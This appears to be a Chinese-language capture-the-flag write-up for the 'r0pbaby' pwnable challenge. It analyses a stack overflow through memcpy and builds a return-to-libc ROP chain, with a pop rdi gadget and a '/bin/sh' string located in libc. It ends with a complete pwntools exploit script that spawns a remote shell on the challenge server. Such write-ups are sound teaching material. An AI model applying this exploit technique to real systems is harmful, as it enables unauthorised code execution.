r0pbaby

Description

Category: Baby's First (pwnable)
Points: 1
Keyword: ROP, return-to-libc

r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me:10436

Problem

64 bit ELF. 沒開 stack guard, 不過有開 NX 和 PIE 保護
程式跑起來會先給你一個 menu, 要你輸入選項:

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit

輸入選項 1 會給你 libc.so.6 的 address,這個 address 存的會是真正的 libc base address
輸入選項 2 會先請你輸入 libc 裡面其中一個 function 的 symbol, 例如 system, atoi 之類的,輸入完後會吐給你該 symbol 的 address
輸入選項 3 會先要你輸入長度,之後輸入相對應長度的字串
選項 4 為離開程式

Vulnerability

打開 IDA Pro 分析程式,會發現 main function 裡面有以下 pseudo code:

v0 = (signed __int64)nptr; // our input buffer
v1 = (signed __int64)&savedregs; // dest
memcpy(&savedregs, nptr, v7);

我們輸入選項 3 時,之後輸入的字串(不包含長度)會被先放到 nptr 裡面
之後會被 memcpy 到 savedregs 裡面
看看 saveregs 位於 stack 上的哪個地方

char nptr[1088]; // [sp+10h] [bp-440h]@2
__int64 savedregs; // [sp+450h] [bp+0h]@22 // on rpb

可以看到 saveregs 正好位在 rbp 上,也就是說, 複製到 saveregs 的內容,會從 rbp 開始寫入

Exploit

既然可以從 rbp 任意寫入內容,那麼方向就很明顯了
我們可以覆蓋 return address 讓程式跳到我們想要跳的地方
這題有開 NX 保護, 不過因為程式有給我們 system 的 address
所以就嘗試往 return-to-libc 的方向做 exploit

一開始想說先想辦法 leak 出 libc 的 base address
之後根據 symbol 的 offset 去猜 libc 的版本,進而構造 ROP 的 payload
不過實際操作後發現基本上 leak 不出來,因為沒有其他 memory leakage 的漏洞
當然也試想過先 leak 出不同 function 的 address, 藉由他們之間的 offset 去猜 libc 版本
但是這麼做實在很沒效率
此時 bananaapple 提出了一個很不錯的想法: 嘗試從 function 裡面去找有用的 gadget

因為 gadget 均是由 machine code 所組成
所以今天如果我要找一個 pop rdi, ret 這樣的 gadget
根據 assembly 與 machine code 間的轉換: pop rdi, ret = 5f c3
因此只要想辦法從某個 function 裡頭找出 5f c3 這 2 個 byte
就可以把 rip 設過去
同理因為 /bin/sh 這個字串 libc 裡面也有
所以也可以用同樣的方式去找到一個 char* 指向 /bin/sh

首先利用 objdump -Dgrep
得知 5f c3 位於 _IO_proc_open 這個 function 的開頭 + 0x34d 的位址
/bin/sh 則位於 _libc_intl_domainname + 0x242 的位址
有了這些資訊就可以透過選項 2 和選項 3 來構造 ROP chain 了

r0pbaby_exp.py
#!/usr/bin/env python

from pwn import *
import sys
import time

#HOST = "localhost"
HOST = "r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me"
PORT = 10436
#LIBC_PATH = "/lib/x86_64-linux-gnu/libc-2.19.so"

# setting 
context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32

r = remote(HOST, PORT)

if __name__ == "__main__":

    print r.recvuntil(": ")

    # get system address
    r.sendline("2")
    r.recv(1024)
    r.sendline("system")
    s = r.recvuntil("Exit\n: ")
    print s
    system_addr = int(s[s.index("0x"):s.index("\n1)"):].strip(), 16)
    log.success("system_addr: "+hex(system_addr))

    # get _IO_proc_open address to calculate [pop rdi, ret]'s address
    r.sendline("2")
    r.recv(1024)
    r.sendline("_IO_proc_open")
    s = r.recvuntil("Exit\n: ")
    print s
    open_addr = int(s[s.index("0x"):s.index("\n1)"):].strip(), 16)
    pop_rdi_ret = open_addr + 0x34c + 1
    log.success("pop_rdi_ret: "+hex(pop_rdi_ret))
 
    # get _libc_intl_domainname address to calculate /bin/sh's address
    r.sendline("2")
    r.recv(1024)
    r.sendline("_libc_intl_domainname")
    s = r.recvuntil("Exit\n: ")
    print s
    domain_addr = int(s[s.index("0x"):s.index("\n1)"):].strip(), 16)
    bin_sh = domain_addr + 0x242
    log.success("bin_sh: "+hex(bin_sh))

    payload = "AAAAAAAA" # rbp
    payload += p64(pop_rdi_ret) # pop rdi, ret
    payload += p64(bin_sh) # char* point to /bin/sh
    payload += p64(system_addr) # system

    # send the payload
    r.sendline("3")
    r.recv(1024)
    r.sendline(str(len(payload)))
    r.sendline(payload)
    
    r.interactive()

flag: W3lcome TO THE BIG L3agu3s kiddo, wasn't your first?